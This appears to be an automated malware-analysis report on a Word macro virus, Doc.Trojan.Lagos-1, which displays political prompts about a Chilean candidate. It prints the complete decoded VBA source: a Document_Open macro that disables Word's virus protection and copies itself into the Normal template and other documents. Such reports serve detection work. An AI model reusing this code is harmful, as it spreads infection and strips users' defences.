Doc.Trojan.Lagos-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 d8ca86f9a29c19e4…

MALICIOUS

Office (OLE)

35.5 KB Created: 2000-02-11 16:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fac90ebffe2abeed1e5499ba9a95caa8 SHA-1: 28199c9e31a0b8bd59bbc3892e5d0592009f3d5e SHA-256: d8ca86f9a29c19e406e47c22ce7c1547b556228597c28fa33e0dc9d9047d5510
120 Risk Score

Malware Insights

Doc.Trojan.Lagos-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The ClamAV detection and heuristic firings confirm the presence of a known trojan. The macro code appears to attempt to copy itself to the Normal template and potentially infect other documents, a common persistence and propagation technique.

Heuristics 3

  • ClamAV: Doc.Trojan.Lagos-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lagos-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8344 bytes
SHA-256: 05005bfc8339b1fcaaa0947cd4ea3e4f112175f122b00ebcc2cfa0fc1ecf5cda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lagos"
Attribute VB_Base = "1Normal.Lagos"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
' Proteccion
CommandBars("Tools").Controls("Macro").Enabled = False
Options.VirusProtection = False
' Danno
'If ActiveDocument.VBProject.VBComponents.Item(1).Name <> "Lagos" Then
'    Selection.TypeParagraph
'    For a = 1 To 10
'        Selection.TypeText ("No a Lagos, va a pudrir al país!!!")
'        Selection.TypeParagraph
'    Next a
'endif
Dim boton
boton = vbYesNo + vbCritical + vbDefaultButton2
respuesta = MsgBox("Ud. Vota por Lagos?", boton, "Decida:")
If respuesta = vbYes Then
    MsgBox ("Ud no apoya al pais")
    respuesta3 = vbYes
    While respuesta3 = vbYes
    respuesta2 = MsgBox("Esta seguro de votar por Lagos?", boton, "Pienselo Bien")
    If respuesta2 = vbNo Then
        MsgBox ("Acuerdece de pensarlo bien en la eleccion")
        respuesta3 = vbNo
    Else
        MsgBox ("Dese  cuenta de lo que esta haciendo!!")
    End If
    Wend
Else
    MsgBox ("Ud quiere el desarrollo de Chile")
    
End If
' Copia
Set docum = ActiveDocument.VBProject.VBComponents.Item(1)
Set norma = NormalTemplate.VBProject.VBComponents.Item(1)
nldoc = docum.codemodule.countoflines
nlnorm = norma.codemodule.countoflines
bg = 2
If docum.Name <> "Lagos" Then
    If nldoc > 0 Then
        docum.codemodule.deletelines 1, nldoc
    End If
    Set ainfectar = docum
    adocum = True
    docum.Name = "Lagos"
End If
If norma.Name <> "Lagos" Then
    If nlnorm > 0 Then
        norma.codemodule.deletelines 1, nlnorm
    End If
    Set ainfectar = norma
    anorma = True
    norma.Name = "Lagos"
End If
If anorma <> True And adocum <> True Then GoTo aa
If anorma = True Then
    ainfectar.codemodule.addfromstring ("Private Sub Document_Close()")
    Do While docum.codemodule.lines(bg, 1) <> ""
        ainfectar.codemodule.insertlines bg, docum.codemodule.lines(bg, 1)
        bg = bg + 1
    Loop
End If
If adocum = True Then
    ainfectar.codemodule.addfromstring ("Private Sub Document_Open()")
    Do While norma.codemodule.lines(bg, 1) <> ""
        ainfectar.codemodule.insertlines bg, norma.codemodule.lines(bg, 1)
        bg = bg + 1
    Loop
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ActiveDocument.Saved = True
aa:
' Virus Lagos: Es lo menos que se merece.
' Basado en el virus Melisa
' Autor Joe Fasto
End Sub

' Processing file: /opt/analyzer/scan_staging/1a77f620a2124003b70a67ddf8d5b13a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Lagos - 4806 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	QuoteRem 0x0000 0x000B " Proteccion"
' Line #2:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	QuoteRem 0x0000 0x0006 " Danno"
' Line #5:
' 	QuoteRem 0x0000 0x0045 "If ActiveDocument.VBProject.VBComponents.Item(1).Name <> "Lagos" Then"
' Line #6:
' 	QuoteRem 0x0000 0x001B "    Selection.TypeParagraph"
' Line #7:
' 	QuoteRem 0x0000 0x0013 "    For a = 1 To 10"
' Line #8:
' 	QuoteRem 0x0000 0x0041 "        Selection.TypeText ("No a Lagos, va a pudrir al país!!!")"
' Line #9:
' 	QuoteRem 0x0000 0x001F "        Selection.TypeParagraph"
' Line #10:
' 	QuoteRem 0x0000 0x000A "    Next a"
' Line #11:
' 	QuoteRem 0x0000 0x0005 "endif"
' Line #12:
' 	Dim 
' 	VarDefn boton
' Line #13:
' 	Ld vbYesNo 
' 	Ld vbCritical 
' 	Add 
' 	Ld vbDefaultButton2 
' 	Add 
' 	St boton 
' Line #14:
' 	LitStr 0x0013 "Ud. Vota por Lagos?"
' 	Ld boton 
' 	LitStr 0x0007 "Decida:"
' 	ArgsLd MsgBox 0x0003 
' 	St respuesta 
' Line #15:
' 	Ld respuesta 
' 	Ld vbYes 
' 	Eq 
' 	IfBlock 
' Line #16:
' 	LitStr 0x0013 "Ud no apoya al pais"
' 	Paren 
' 	
... (truncated)

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